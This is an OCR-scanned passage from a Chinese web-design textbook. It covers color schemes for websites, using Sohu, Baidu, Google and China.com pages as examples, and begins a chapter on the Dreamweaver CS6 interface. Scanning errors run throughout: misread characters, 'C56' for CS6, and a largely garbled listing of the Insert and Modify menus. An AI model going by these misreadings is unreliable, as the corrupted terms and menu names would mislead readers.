网 站 使 用 明快 的 颜色 与 强烈 的 颜色 对 比 ， 可 以 体现 出 一 种 热情 躁动 的 情感 气氛 。 如 果 网 站 需要 体 


现 出 这 种 热情 的 气氛 ， 可 以 使 用 强烈 的 暖色 进行 搭配 。 


例如 ， 曾 经 的 搜狐 奥运 频道 ， 就 是 采用 了 具有 强烈 色 感 的 大 红色 调 。 网 页 使 用 大 红色 背景 ， 并 多 
次 使 用 大 红色 的 图 案 与 广告 。 整 个 版 面 突显 节日 气氛 ， 与 奥运 这 个 奋发 向 上 的 主题 相 一 致 ， 体 现 出 了 


奥运 的 激情 与 活力 ， 如 图 3-10 所 示 。 
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图 3-10 搜狐 奥运 频道 网 页 的 配色 
3.2.5 ”简约 与 高 贵 


对 于 某 些 网 站 ， 可 以 使 用 简约 的 色彩 搭配 ， 但 是 版 面 的 简约 与 简单 并 不 是 一 个 概念 。 网 页 在 简约 
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的 色彩 搭配 中 ， 体 现 出 网 站 的 档次 与 内 容 。 
例如 ， 百 度 网 站 的 首页 ， 如 图 3-11 所 示 ， 网 站 使 用 简约 的 布局 与 颜色 。 
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图 3-11 百度 网 站 首页 的 颜色 


百度 首页 只 使 用 了 蓝 色 与 红色 两 种 简单 的 颜色 搭配 与 布局 ， 没 有 使 用 其 他 颜色 。 整 个 网 页 的 颜色 


清新 自然 ， 简 约 而 不 简单 。 同 时 ， 简 单 的 颜色 风格 又 不 失 设 计 的 专业 性 。 


而 结合 到 百度 的 搜索 功能 ， 人 们 更 关注 的 是 网 站 的 功能 ， 所 以 就 更 愿意 接受 这 种 简单 的 颜色 搭配 


与 页 面 布局 。 


3.3 ”网 站 总 体 色 彩 规划 


网 站 在 设计 效果 图 时 ， 需 要 对 网 站 的 色彩 进行 总 体 的 规划 ， 对 网 页 的 颜色 有 一 个 整体 的 定位 。 所 
有 网 页 效果 的 设计 需要 在 这 个 整体 颜色 定位 下 进行 ， 其 他 颜色 的 使 用 需要 与 网 页 内 容 的 风格 相 一 致 。 


3.3.1 定义 网 站 的 色彩 基调 
定义 网 站 色彩 的 基调 就 是 选择 一 个 颜色 作为 网 站 最 主要 的 风格 色调 。 


回 ”网 站 的 色彩 要 鲜明 。 人 们 在 浏览 网 站 时 ， 更 愿意 接受 鲜明 的 颜色 。 黯 淡 的 颜色 会 给 人 压抑 的 


感觉 。 


回 ”网 站 的 色彩 要 独特 。 一 个 优秀 的 网 站 ， 往 往 与 其 他 网 站 有 着 不 同 的 色彩 风格 。 用 户 可 能 会 根 


据 网 站 独特 的 风格 而 接受 这 个 网 站 。 


回 色彩 需要 与 网 站 的 内 容 谐 调 。 网 站 的 色彩 需要 使 用 可 以 体现 网 站 内 容 的 气氛 。 例 如 ， 女 性 商 
品 的 网 站 可 以 使 用 粉红 色 ， 庆 典 类 网 站 可 以 使 用 大 红色 ， 新 闻 类 网 站 常 使 用 浅 蓝 色 。 

回 ”要 注意 不 同 的 色彩 可 能 给 网 站 的 内 容 带 来 不 同 的 联想 ， 即 颜色 的 联想 性 。 例 如 ， 黑 色 可 以 让 
人 联想 到 夜晚 ， 蓝 色 可 以 让 人 联想 到 天 空 或 海洋 ， 大 红色 可 以 让 人 联想 到 喜庆 等 。 

一 个 网 站 的 主题 ， 常 常 使 用 与 这 一 主题 相关 的 颜色 色调 。 例 如 ， 喜 庆 的 网 站 常常 使 用 大 红色 。 如 

图 3-12 所 示 的 新 浪 奥运 网 站 和 如 图 3-13 所 示 的 搜狐 奥运 网 站 。 这 两 个 网 页 都 使 用 了 大 红色 色调 来 表现 


奥运 的 喜庆 节日 气氛 。 
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图 3-12 新 浪 奥运 的 红色 基调 图 3-13 搜狐 奥运 的 红色 基调 
3.3.2 ”站 点 内 各 栏目 色彩 搭配 原则 


在 对 网 站 进行 颜色 搭配 时 ， 需 要 遵循 一 些 颜 色 搭配 的 原理 和 方法 。 这 些 配色 原理 是 根据 长 期 设计 
的 经 验 和 人 们 对 颜色 的 感知 形成 的 。 网 站 的 各 个 栏目 ， 因 为 需要 体现 出 不 同 的 内 容 和 浏览 方式 ， 需 要 
针对 不 同 的 网 站 栏目 进行 不 同 的 配色 。 

一 般 来 说 ， 更 需要 吸引 用 户 注意 力 的 栏目 应 该 使 用 鲜艳 的 颜色 。 不 同 的 栏目 之 间 应 有 一 些 颜 色 的 
对 比 ， 增 强 网 页 色彩 的 层次 感 。 如 图 3-14 所 示 为 新 浪 的 彩铃 频道 首页 。 在 这 个 网 页 中 ， 网 页 的 背景 使 
用 棕 黑色 ， 广 告 和 Banner 图 片 使 用 了 白色 ， 文 本 背景 使 用 了 一 些 绿色 和 蓝 色 。 整 个 网 页 的 颜色 对 比 非 
常 强烈 ， 很 有 层次 感 。 


图 3-14 新 浪 彩 锥 网 页 
3.4 页 面色 彩 搭配 


3.4.1 网 页 色彩 搭配 原理 


据 研究 ， 彩 色 效 果 给 人 留 下 的 印象 是 非 彩 色 效果 的 3 倍 以 上 。 也 就 是 说 ， 在 一 般 情况 下 ， 彩 色 效 
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果 比 非 彩色 效果 更 能 给 人 留 下 深刻 的 记忆 。 

颜色 还 有 色 深 与 透明 度 的 概念 ， 在 同一 个 色相 中 ， 不 同 的 色 深 与 透明 度 会 产生 完全 不 同 的 颜色 
效果 。 

在 网 页 中 一 般 的 处 理 方法 是 : 主要 内 容 文字 用 非 彩 色 (黑色 ) ， 边 框 、 背 景 、 图 片 等 次 要 内 容 用 
彩色 。 这 样 ， 页 面 整 体感 觉 很 清爽 但 不 单调 ， 也 不 会 给 人 眼花 的 感觉 。 

在 非 彩 色 的 搭配 中 ， 黑 白 是 最 基本 和 最 简单 的 搭配 ， 白 字 黑 底 或 黑 底 白字 页 面 的 内 容 都 非常 清晰 
自然 。 灰 色 是 万 能 色 ， 可 以 和 很 多 种 色彩 组 合 与 搭配 ， 可 以 实现 不 同 颜色 的 和 谐 过 渡 。 在 网 页 中 ， 有 
两 种 对 比 很 强烈 的 颜色 组 合 在 一 起 ， 而 不 好 搭配 其 他 颜色 ， 可 以 考虑 中 间 使 用 灰色 调 过 渡 。 

如 图 3-15 所 示 为 百度 空间 中 的 一 个 黑白 颜色 模板 。 网 页 充分 使 用 了 白 底 黑 字 和 黑 底 白字 的 色调 。 
整个 网 页 的 颜色 非常 清晰 自然 ， 对 比 很 强烈 。 

彩色 的 搭配 是 一 个 比较 复杂 的 内 容 。 彩 色 有 几 千 万 种 颜色 ， 所 有 的 色彩 千变万化 。 彩 色 的 搭配 是 
颜色 学 中 练习 做 设计 的 重点 ， 在 以 后 的 章节 中 将 会 重点 讲解 彩色 的 搭配 。 如 图 3-16 所 示 为 新 浪 的 娱乐 
频道 首页 。 在 这 个 网 页 中 大 量 地 使 用 了 红色 、 黑 色 、 粉 红色 、 蓝 色 的 搭配 。 在 这 种 网 页 搭配 中 ， 需 要 
注意 不 同 颜色 的 层次 感 和 视觉 效果 。 
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图 3-15 网 页 的 原 白 关 色 指 取 
3.4.2 ”网 页 设计 中 色彩 搭配 的 技巧 


网 页 进行 配色 时 ， 需 要 先 确 定 网 页 的 主 色调 ， 然 后 根据 主 色 调 再 确定 搭配 的 颜色 。 网 站 中 不 要 使 
用 过 多 的 颜色 ， 一 个 网 页 的 颜色 应 尽量 控制 在 3 种 颜色 以 内 。 使 用 太 多 种 颜色 可 能 使 网 站 颜色 混杂 ， 
视觉 效果 混乱 。 

背景 与 文本 的 颜色 对 比 要 强烈 ， 不 要 将 背景 色 与 文本 使 用 相近 的 颜色 。 不 要 使 用 鲜明 的 花纹 作为 
背景 ， 这 样 无 法 突显 出 网 页 的 内 容 ， 网 页 浏览 时 会 非常 吃力 。 


3.4.3 ”常见 的 几 种 网 页 配色 方法 


人 们 在 进行 网 页 效果 设计 时 ， 已 经 认可 某 些 颜色 的 使 用 方法 和 颜色 的 搭配 方案 。 不 同 的 颜色 可 以 
对 应 于 不 同 内容 、 不 同 风格 的 网 页 。 下 面 是 人 们 在 进行 网 页 设计 时 总 结 的 网 页 配色 方案 。 
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1. 红色 色调 的 使 用 与 搭配 


红色 的 色 感 温暖 、 性 格 刚烈 而 外 向 ， 可 以 对 人 形成 强烈 的 刺激 。 红 色 比 其 他 颜色 更 能 吸引 人 的 注 
意 ， 也 可 以 引起 人 兴奋 、 激 动 、 紧 张 、 冲 动 的 感觉 。 过 多 的 红色 也 可 以 引起 人 的 视觉 疲劳 ， 使 人 眼 的 
视觉 感 减弱 。 在 红色 中 可 以 搭配 一 些 其 他 颜色 丰富 网 页 的 效果 。 

回 ”在 红色 中 加 入 一 些 黄色 ， 会 增强 红色 的 色 感 ， 可 使 红色 更 加 趋向 于 躁动 、 不 安 。 

回 在 红色 中 加 入 一 些 蓝 色 ， 可 以 减弱 红色 的 色 感 ， 可 使 黄色 趋 于 文雅 、 柔 和 。 

回 ”在 红色 中 加 入 一 些 黑色 ， 会 使 红色 的 性 格 变 得 沉稳 ， 给 人 以 厚重 、 朴 实 的 感觉 。 

回 ”在 红色 中 加 入 一 些 白色 ， 会 使 色 感 温柔 ， 趋 于 含蓄 、 闭 涩 、 娇 嫩 。 


2. 黄色 色调 的 使 用 与 搭配 


黄色 可 以 表现 出 冷漠 、 高 做 、 敏 感 、 不 安宁 的 视觉 印象 。 在 所 有 的 颜色 中 ， 黄 色 的 色 感 最 容易 发 
生变 化 。 只 要 在 纯 黄色 中 搭配 少量 的 其 他 颜色 ， 其 色 感 和 表现 出 的 性 格 感 就 会 发 生 很 大 的 变化 。 黄 色 
在 搭配 其 他 颜色 时 ， 会 因为 色彩 的 对 比 给 黄色 带 来 完全 不 同 的 色彩 感觉 。 

回 ”黄色 搭配 少量 的 蓝 色 ， 会 使 其 转换 为 嫩绿 色 。 需 要 使 黄色 表现 出 平和 、 潮 润 的 感觉 时 可 以 考 

虑 在 黄色 中 使 用 一 些 蓝 色 。 

加 ”黄色 和 红色 搭配 在 一 起 时 ， 会 具有 明显 的 禁 色 感觉 ， 色 感 会 从 冷漠 、 高 傲 转换 为 有 分 寸 感 的 

热情 、 温 暖 。 
回 在 黄色 中 加 入 少量 的 黑色 ， 色 感 和 色 性 会 发 生 很 大 的 变化 ， 成 为 具有 明显 橄榄 绿 的 复 色 印象 。 
其 色 性 也 变 得 成 熟 、 随 和 。 

加 ”黄色 搭配 少量 的 白色 ,会 使 色 感 变 得 柔和 ， 可 以 淡化 黄色 的 性 格 感 ， 使 颜色 趋 近 于 含蓄 ， 吻 
于 接近 。 

3. 蓝 色 色调 的 使 用 与 搭配 


蓝 色 的 色 感 清冷 、 性 格 朴实 内 向 ， 是 一 种 有 助 于 人 头脑 冷静 的 颜色 。 蓝 色 可 以 很 容易 让 人 感觉 到 
天 空 、 大 海 的 氛围 ， 提 供 一 个 深远 、 广 阔 、 平 静 的 空间 ， 可 以 衬托 其 他 活跃 的 颜色 。 蓝 色 淡 化 后 仍然 
能 保持 较 强 个 性 ， 不 同 的 蓝 色 给 人 完全 不 同 的 感觉 。 如 果 在 蓝 色 中 分 别 加 入 少量 的 红 、 黄 、 黑 、 橙 、 
白 等 色 ， 会 对 蓝 色 的 色 感 造成 鲜明 的 影响 。 

蓝 色 是 最 养眼 的 颜色 ， 蓝 色 的 背景 可 以 使 平静、 遐想 。 网 站 常常 使 用 蓝 色 作 为 网 站 的 背景 色 。 
而 不 同 的 蓝 色 往往 给 人 完全 不 同 的 感觉 。 

蓝 色 是 现今 网 站 中 最 常 使 用 的 主 色 调 。 蓝 色 风 格 的 网 页 最 容易 被 用 户 接受 和 认可 。 很 多 大 中 型 电 
子 商务 、 网 络 公司 的 网 站 都 是 使 用 蓝 色 风格 。 如 图 3-17 所 示 为 中 资源 网 络 公司 网 站 的 首页 ， 这 个 网 站 
使 用 了 大 量 的 蓝 色 背景 和 蓝 色 图 片 ， 网 站 颜色 搭配 清新 自然 ， 非 常 合理 。 


4. 橙色 色调 的 使 用 与 搭配 


检 色 具有 黄 和 红 的 成 分 ， 其 性 格 趋 于 甜美 、 亮 丽 、 芳 香 ， 也 有 红色 的 效果 ， 性 格 也 趋 于 兴奋 、 狂 燥 。 
橙色 中 混入 少量 的 白 ， 可 淡化 橙色 的 效果 ， 使 橙色 的 色 感 趋 于 焦躁 、 无 力 。 


5. 绿色 色调 的 使 用 与 搭配 
绿色 是 具有 黄色 和 蓝 色 两 种 成 分 的 色 。 绿 色 是 大 自然 中 生命 的 颜色 ， 给 人 以 生命 、 成 长 、 和 希望 的 
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气息 。 绿 色 是 人 们 最 愿意 接受 的 纯 自 然 感 觉 。 绿 色 的 性 格 平和 、 安 稳 ， 是 一 种 柔顺 、 恬 静 、 自 然 、 优 
美的 颜色 。 

回 ”绿色 与 黄色 搭配 时 ， 性 格 就 趋 于 活泼 、 友 善 。 

回 ”绿色 中 加 入 黑色 ， 其 性 格 就 趋 于 庄重 、 成 熟 。 

回 ”绿色 中 加 入 少量 的 白 ， 其 性 格 就 趋 于 洁净 、 清 爽 、 鲜 嫩 。 
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图 3-17 中 资源 网 站 首页 的 蓝 色 风 格 


6. 紫色 色调 的 使 用 与 搭配 


紫色 的 明度 在 彩色 的 色 料 中 是 最 低 的 。 紫 色 的 低 明 度 给 人 一 种 沉 闽 、 神 秘 的 感觉 。 
回 ”紫色 中 红 的 成 分 较 多 时 ， 就 会 给 人 以 压抑 威胁 的 感觉 。 

回 ”紫色 中 加 入 黑色 ， 其 感觉 就 趋 于 沉闷 、 伤 感 、 恐 怖 。 

回 ”紫色 中 加 入 白色 ， 就 会 变 得 优雅 、 娇 气 ， 并 充满 女性 的 魅力 。 


7. 白色 色调 的 使 用 与 搭配 


白色 的 色 感光 明 ， 性 格 朴实 、 纯 洁 、 快 乐 ， 给 人 以 雪山 、 冰 川 的 感觉 。 如 果 在 白色 中 加 入 其 他 任 
何 色 ， 都 会 影响 其 纯洁 性 ， 使 其 性 格 变 得 含蓄 ， 会 减弱 白色 的 色 感 。 
白色 搭配 少量 的 红色 ， 会 感受 到 一 种 粉红 色 ， 鲜 嫩 而 充满 诱惑 。 
白色 搭配 少量 的 黄色 ， 则 成 为 一 种 乳 黄色 ， 给 人 一 种 温 志 的 感觉 。 
白色 搭配 少量 的 蓝 色 ， 会 使 气氛 变 得 清冷 、 洁 净 。 
白色 措 配 少量 的 栖 色 ， 就 如 同 沙漠 戈壁 ， 如 同 干裂 的 土地 ， 有 干燥 的 气氛 。 
白色 搭配 少量 的 绿色 ， 就 如 同 刚 出 土 的 绿 芽 ， 给 人 一 种 稚嫩 、 柔 和 的 感觉 。 
白色 搭配 少量 的 紫色 ， 就 如 同 紫色 兰花 ， 让 人 联想 到 淡淡 的 芬芳 。 


3.5 Web 2.0 用 色 模 式 及 网 页 色彩 趋势 


回回 回回 轿 加 


Web 2.0 采用 了 更 先进 的 设计 思想 和 开发 技术 ， 是 新 一 代 网 站 的 开发 趋势 。Web 2.0 有 着 更 高 的 响 
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应 速度 和 服务 器 处 理性 能 ， 强 大 的 交互 性 能 给 用 户 带 来 更 大 的 便利 。 

但 是 用 户 所 直接 接受 的 ， 是 网 站 的 页 面 和 网 站 的 功能 。 技 术 的 先进 ， 只 体现 在 程序 的 运行 和 性 能 
上 ,， 只 有 友好 美观 的 页 面 和 强大 的 功能 才 可 以 被 用 户 承认 。 所 以 ，Web 2.0 在 开发 出 强大 功能 的 同时 应 
该 注意 颜色 的 搭配 ， 让 用 户 在 友好 的 交互 界面 中 体验 强大 的 功能 。 

与 普通 网 站 不 同 的 是 ，Web 2.0 常常 重点 突出 网 站 的 强大 功能 和 数据 交互 能 力 。 同 时 ， 网 站 具有 出 
色 的 美术 设计 ， 以 出 众 的 艺术 特色 得 到 用 户 的 认可 。 

传统 的 门户 网 站 往往 使 用 复杂 的 网 页 布局 , 但 Web 2.0 强调 简约 的 布局 特色 与 鲜明 的 色彩 。Google 
与 百度 是 Web 2.0 的 典型 代表 ， 其 网 站 美术 设计 体现 了 Web 2.0 的 网 页 色彩 发 展 方向 。 如 图 3-18 所 示 
为 Google 网 站 首页 的 效果 图 。 
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图 3-18 ”Google 首页 效果 图 赏析 


Google 的 首页 布局 非常 简单 ， 只 有 一 张 Logo 图 片 、 一 个 搜索 表单 、 几 个 链接 。 网 站 就 是 用 这 个 
简单 的 搜索 表单 实现 包罗 万 象 的 网 络 信息 。 用 户 无 须 接受 其 他 繁杂 的 内 容 ， 在 一 个 表单 上 可 以 实现 自 
己 所 需要 的 所 有 功能 。 

Google 的 先进 性 体现 在 其 强大 的 搜索 功能 上 ， 但 其 鲜明 的 网 页 色彩 效果 也 是 被 用 户 认可 的 一 个 重 
要 方面 。 网 页 的 格调 简洁 ， 但 简洁 并 不 简单 。 

Google 采用 了 蓝 色 、 大 红色 、 绿色 搭配 的 文字 造型 Logo, 颜色 与 字体 形成 了 非常 鲜明 的 艺术 效果 。 
蓝 色 链接 、 黑 色 字体 、 纯 白 背景 ， 使 网 页 感觉 十 分 清爽 自然 。 在 这 个 简约 的 页 面 上 可 以 实现 功能 非常 
强大 的 搜索 能 力 ， 使 用 户 更 容易 接受 这 一 网 站 。 

百度 也 采用 了 这 种 简约 与 特色 的 形式 。Logo 采用 大 红色 与 蓝 色 ， 非 常 具 有 自己 的 特色 。 在 内 部 的 
搜索 结果 的 网 页 中 ， 其 他 功能 的 网 页 都 采用 了 这 种 简约 、 清 新 的 色调 。 

在 Web 2.0 的 网 页 设计 中 ， 往 往 是 色彩 与 创意 的 完美 统一 。 在 抽象 中 求 自然 ， 在 自然 中 求 简约 ， 
在 简约 中 求 新 意 。 


3.6 经典 网 页 设计 色彩 搭配 实例 欣赏 


网 页 的 色彩 搭配 ， 特 别 是 较 大 网 页 的 色彩 搭配 ， 可 以 充分 体现 一 个 网 站 的 设计 思想 和 风格 。 本 节 
以 一 个 实例 讲解 网 页 色彩 搭配 需要 注意 的 问题 。 如 图 3-19 所 示 为 中 华 网 的 首页 。 网 页 的 色彩 非常 丰富 
层次 感 很 强 ， 各 种 颜色 搭配 合理 。 
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3-19 ”中 华 网 首页 


中 华 网 的 这 种 颜色 搭配 ， 代 表 着 大 中 型 网 站 的 配色 趋势 ， 有 很 多 内 容 值 得 学 习 与 参考 。 

网 站 使 用 白色 背景 、 蓝 色色 调 ， 合 理 搭配 一 些 红色 ， 页 面 美 观 大 方 。 

网 站 的 Logo 使 用 大 红色 与 黑色 ， 对 比 非常 强烈 。 

网 站 的 导航 条 中 ， 使 用 一 些 红 色 的 链接 ， 可 以 有 效 地 表现 这 些 链接 。 

网 页 中 巧妙 地 使 用 了 一 个 大 红色 浮动 广告 和 一 个 大 红色 广告 ， 增 强 了 网 页 的 层次 感 ， 使 网 页 
的 颜色 有 很 大 的 跳跃 性 。 

网 页 中 有 3 个 冷色 调 图 片 ， 很 好 地 保持 了 网 页 中 颜色 的 一 致 性 。 

网 页 的 Banner 广告 使 用 橙色 ， 可 以 吸引 用 户 的 注意 。 

Banner 广告 条 上 的 按钮 ， 使 用 了 网 页 中 其 他 地 方 没有 的 3 种 颜色 ， 使 这 个 广告 条 的 颜色 更 加 
丰富 。 


园 加 回回 


加 图 加 


3.7 天 结 


网 页 颜色 的 搭配 是 体现 网 页 设计 风格 的 重要 方法 。 在 网 页 设计 时 需要 注意 网 页 中 所 有 内 容 的 用 色 
与 搭配 。 

与 网 站 编程 不 同 的 是 ， 颜 色 搭 配 的 学 习 是 一 个 很 抽象 、 模 糊 的 概念 。 这 就 要 求 在 网 页 设计 时 ， 注 
意 对 颜色 的 理解 与 领悟， 感受 各 种 颜色 搭配 的 表现 风格 。 在 浏览 网 页 时 ， 注 意 学 习 其 他 网 页 的 颜色 拱 
配 风 格 。 
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第 个 名 


熟悉 Dreamweaver CS6 的 工作 环境 
i 


”Dreamweaver CS6 的 简介 
”Dreamweaver CS6 的 寓 用 工具 
由 Dreamweaver CS6 标签 使 用 
MH Dreamweaver CS6 使 用 实例 


Dreamweaver 自 诞 生 以 来 ， 一 直 被 广大 的 网 页 设计 师 所 喜爱 ， 其 友好 的 界面 、 简 便 
的 操作 、 所 见 即 所 得 的 设计 方法 ， 使 网 页 的 设计 变 得 非常 简单 。 

Dreamweaver 的 最 新 版 本 是 Dreamweaver C56。 它 支持 代码 、 拆 分 、 设 计 、 实 时 视 
图 等 多 种 方式 来 创作 、 编 写 和 修改 网 页 ， 对 于 初级 人 员 来 说 ， 无 须 编写 任何 代码 就 能 快速 
创建 Web 页 面 。C56 成 熟 的 代码 编辑 工具 更 适用 于 Web 开发 高 级 人 员 的 创作 。C56 新 版 
本 使 用 了 自 适 应 网 格 版 面 创 建 页 面 ， 在 发 布 前 使 用 多 屏幕 预览 审阅 设计 ， 可 大 大 提高 工作 
效率 ; C56 改善 的 FTP 性能， 能 更 高 效 地 传输 大 型 文件 ; C56 中 的 “实时 视图 ”和 “多 屏 
幕 预览 ”面板 可 呈现 HTML5 代码 ， 更 能 够 检查 自己 的 工作 。 


先 4 部 名 入 Dreamweavet CS6 瓜 工人 亲生 


4.1 安装 Dreamweaver CS6 


在 进行 网 站 开发 之 前 ， 首 先 需要 安装 Dreamweaver CS6 软件 。Dreamweaver CS6 的 安装 文件 可 以 
购买 光盘 或 者 从 网 络 上 下 载 获得 。 下 面 介绍 安装 Dreamweaver CS6 的 方法 。 

双击 安装 文件 ， 进 行 一 些 设置 ， 即 可 自动 完成 Dreamweaver CS6 的 安装 。 对 于 初学 者 来 说 ， 可 以 不 
用 对 安装 进行 特殊 设置 ， 而 完全 采用 默认 设置 。 一 般 的 设置 都 可 以 直接 单 击 “ 下 一 步 ” 按 钮 。 如 图 4-1 
所 示 为 Dreamweaver CS6 的 安装 界面 。 

Dreamweaver CS6 安装 完成 以 后 ， 双 击 桌 面 上 的 Dreamweaver CS6 快捷 方式 ， 或 者 在 “开始 ” 菜 
单 中 选择 Adobe Dreamweaver CS6 命令 ， 即 可 运行 Dreamweaver CS6， 其 工作 界面 如 图 4-2 所 示 。 
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图 4-1 Dreamweaver CS6 的 安装 界面 图 4-2 Dreamweaver CS6 的 工作 界面 


4.2 认识 Dreamweaver CS6 界面 


Dreamweaver CS6 有 着 非常 友好 和 实用 的 工具 条 。 借助 于 这 些 工 具 , 可 以 在 HTML 中 做 出 各 种 网 页 。 
同 其 他 Windows 软件 一 样 ，Dreamweaver CS6 的 工具 有 菜单 栏 、 工 具 栏 、 属 性 栏 、 对 话 框 等 类 型 。 


4.2.1 


常用 工具 栏 


同 其 他 软件 一 样 ，Dreamweaver CS6 的 新 建 、 打 开 、 保 存 、 复 制 、 粘 贴 等 操作 可 以 使 用 常用 工具 


栏 中 的 工具 完成 。 选 择 “ 查 看 ”| “工具 栏 ”| “标准 ”命令 ， 即 可 打开 或 隐藏 标准 工具 栏 。 标 准 工 


具 栏 可 


[以 实现 文件 的 最 基本 操作 功能 。 如 图 4-3 所 示 为 Dreamweaver CS6 的 标准 工具 栏 。 
间 | 芝 本 区 四 久 | 立 语 儿 | 六 | 
4-3 ”Dreamweaver CS6 的 标准 工具 栏 
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工具 栏 上 的 工具 从 左 至 右 依次 是 新 建 、 打 开 、 在 浏览 器 中 浏览 、 保 存 、 全 部 保存 、 打 印 代 码 、 剪 
切 、 复 制 、 粘 贴 、 撤 销 和 重 做 ， 分 别 实现 “文件 ”和 “编辑 ”菜单 中 相对 应 的 功能 。 

选择 “查看 ”| “工具 栏 ”| “文档 ”命令 ， 即 可 打开 或 隐藏 文档 工具 栏 。 文 档 工具 栏 可 以 实现 
工作 区 域 设置 、 页 面 设置 等 和 文档 相当 的 常用 操作 。 如 图 4-4 所 示 为 Dreamweaver CS6 的 文档 工具 栏 。 
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4-4 ”Dreamweaver CS6 的 文档 工具 栏 


文档 工具 栏 从 左 至 右 依次 是 代码 、 拆 分 、 设 计 、 实 时 代码 、 检 查 浏览 器 兼容 性 、 实 时 视图 、 检 查 、 
在 浏览 器 中 预览 、 可 视 化 助理 、 刷 新 设计 视图 、 标 题 和 文件 管理 的 功能 。 各 个 工具 的 功能 介绍 如 下 。 
代码 : 选择 代码 视图 以 后 ， 工 作 区 将 全 部 显示 网 页 的 代码 。 
拆 分 :选择 拆 分 视图 以 后 ， 工 作 区 将 分 别 显示 代码 视图 和 设计 视图 。 
设计 : 选择 设计 视图 以 后 ， 工 作 区 将 全 部 显示 页 面 设计 视图 。 
实时 代码 : 在 代码 视图 中 显示 实时 视图 源 。 
检查 浏览 器 兼容 性 : 针对 不 同 的 浏览 器 对 网 页 的 代码 进行 正确 性 检查 。 
实时 视图 : 将 设计 视图 切换 到 实时 视图 。 
检查 : 打开 实时 视图 和 检查 模式 。 
在 浏览 器 中 预览 : 在 浏览 器 中 预览 设计 的 网 页 效果 。 
可 视 化 助理 : Dreamweaver CS6 提供 了 多 个 可 视 化 助理 ， 以 供用 户 查看 CSS 布局 块 。 
刷新 设计 视图 : 在 网 页 的 代码 区 进行 编辑 以 后 ， 网 页 的 设计 视图 并 不 能 立即 更 新 。 单 击 以 后 
可 以 立即 更 新 网 页 的 设计 视图 。 
回 ” 标 题 : 用 来 设置 网 页 的 标题 ， 即 设置 网 页 的 <TITLE> 标 签 的 值 。 
回 文件 管理 : 提供 一 些 快捷 的 文件 管理 功能 。 
Dreamweaver 中 的 视图 指 的 是 网 页 的 编辑 方式 。 设 计 出 的 网 页 实际 上 是 一 个 HTML 代码 文本 ， 但 
在 设计 时 并 不 是 直接 编写 的 代码 ， 而 是 在 设计 视图 上 用 鼠标 操作 设计 各 种 内 容 ， 在 代码 视图 中 会 自动 
生成 相应 的 HTML 代码 。 某 些 鼠 标 操作 无 法 完成 的 工作 ， 需 要 在 代码 视图 中 编写 代码 。 
Dreamweaver 提供 了 代码 、 设 计 、 代 码 与 设计 分 开 3 种 视图 形式 ， 方 便 了 不 同方 式 的 网 页 设计 。 
在 设计 网 页 时 使 用 设计 视图 ， 在 编写 代码 时 使 用 代码 视图 ， 有 时 需要 同时 使 用 两 种 视图 。 


4.2.2 ”常用 菜单 命令 


Dreamweaver CS6 中 的 “插入 ”和 “修改 ”菜单 是 最 常用 、 最 重要 的 两 个 菜单 。 网 页 中 很 多 操作 
和 设计 都 直接 用 这 两 个 菜单 实现 。“ 插 入 ”菜单 用 于 实现 网 页 中 各 种 设计 元 素 的 插入 ，“ 修 改 ” 菜 单 
用 于 对 网 页 中 各 种 元 素 的 属性 进行 修改 。 此 外 , 在 CS6 的 版 本 中 还 增加 了 “插入 ”面板 , 也 可 以 从 “ 插 
入 ”面板 中 快捷 地 插入 设计 元 素 。 
图 4-5 和 图 4-6 分 别 为 Dreamweaver CS6 的 “插入 ”菜单 和 “修改 ”菜单 。 这 两 个 菜单 下 面 的 命令 
很 多 ， 可 以 用 较 好 的 方法 记忆 和 使 用 这 些 菜单 命令 。 例 如 ， 需 要 在 网 页 中 插入 一 个 按钮 ， 而 按钮 是 一 
个 表单 对 象 ， 那 么 选择 “插入 ”| “表单 ”| “按钮 ”命令 ， 即 可 在 网 页 中 插入 一 个 按钮 。 如 果 需 要 
对 网 页 中 的 图 像 进行 优化 及 修改 操作 ， 应 该 在 “修改 ”菜单 下 面 找 与 图 像 相关 的 命令 。 例如， 选择 “ 修 
改 ”| “图 像 ”| “优化 ”命令 ， 即 可 对 一 个 图 像 进行 优化 操作 。 


@ 
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标签 @). Ctrl 
图 像 扣 ) CtrlHALtHI 
图 像 对 象 (6) » 
媒体 查 鹿 0) 页 面 属性 台 ). CtrltJ 

种 称 属 性 下 ) 
表格 0) CtrltAHT 
人 全 Css 样式 0 Shi fttP11 

媒体 查 词 中) 
表单 四) » 
超级 链接) Yeb 字体 _ 
电子 邮件 谤 摘 中 一 
命名 御 记 0n CerlHALtHA 编辑 标签 E). 
日 期 0) 快速 标签 编辑 器 Q). .CtrltT 

人 时 军 接 0) CtrltL 
移 除 柑 接 玫 ) [EEC 
打开 如 接 页 面 @) 

a 调 扩 目标 @) ， 

最 i RD) » 

表格 CD) » 
Wideet 0)... 图 像 0) 
Spry S) » . 
jQuery Nobile » 框架 集 F) 
InContext Editing(T) » 排列 顺序 以 ) » 
数据 对 象 0 » 转换 CC) » 
自 定义 收藏 天 0D. 库 C) 
获取 更 多 对 象 6).. 模板 到 ) 
图 4-5 “插入 ”菜单 图 4-6 “修改 ”菜单 

4.2.3 “插入 ”面板 


“插入 ”面板 中 包含 了 编写 网 页 过 程 中 经 常用 到 的 对 象 和 工具 ， 通 过 该 面板 可 以 很 方便 地 使 用 网 
页 中 所 需 的 对 象 ， 以 及 对 对 象 进行 编辑 所 需要 的 工具 。 

“插入 ”面板 从 上 到 下 依次 可 选择 常用 、 布局 、 表单、 数据 、Spry、 jQuery Mobile、 InContext Editing、 
文本 、 收 藏 夹 9 个 工具 栏 。 


回 “常用 ”工具 栏 用 于 一 些 常用 对 象 的 插入 。 

回 “布局 ”工具 栏 用 于 插入 一 些 和 布局 相关 的 页 面 内 容 ， 如 表格 、DIV 标签 等 。 

回 “表单 ”工具 栏 用 于 插入 表单 和 表单 的 对 象 。 

回 “数据 ”工具 栏 用 于 插入 数据 库 连 接 、 数 据 查 询 等 和 数据 处 理 有 关 的 过 程 ， 一 般 用 于 动态 

网 站 。 

加 ”Spry 工具 栏 用 于 插入 和 页 面 交 互 有 关 的 菜单 、 用 户 事件 等 内 容 ， 一 般 用 于 开发 Ajax 网 页 。 

回 jQuery Mobile 工具 栏 用 于 插入 与 jQuery 库 相关 的 页 面 元 素 。 

回 InContext Editing 工具 栏 允许 用 户 在 Web 浏览 器 中 对 内 容 进行 简单 的 更 改 。 

回 “文本 ”工具 栏 用 于 插入 文本 样式 、 特 殊 符号 等 和 文本 相关 的 内 容 。 

回 “收藏 夹 ”工具 栏 用 于 插入 网 站 收藏 的 常用 文件 等 内 容 。 需 要 在 站 点 定义 中 进行 设置 。 

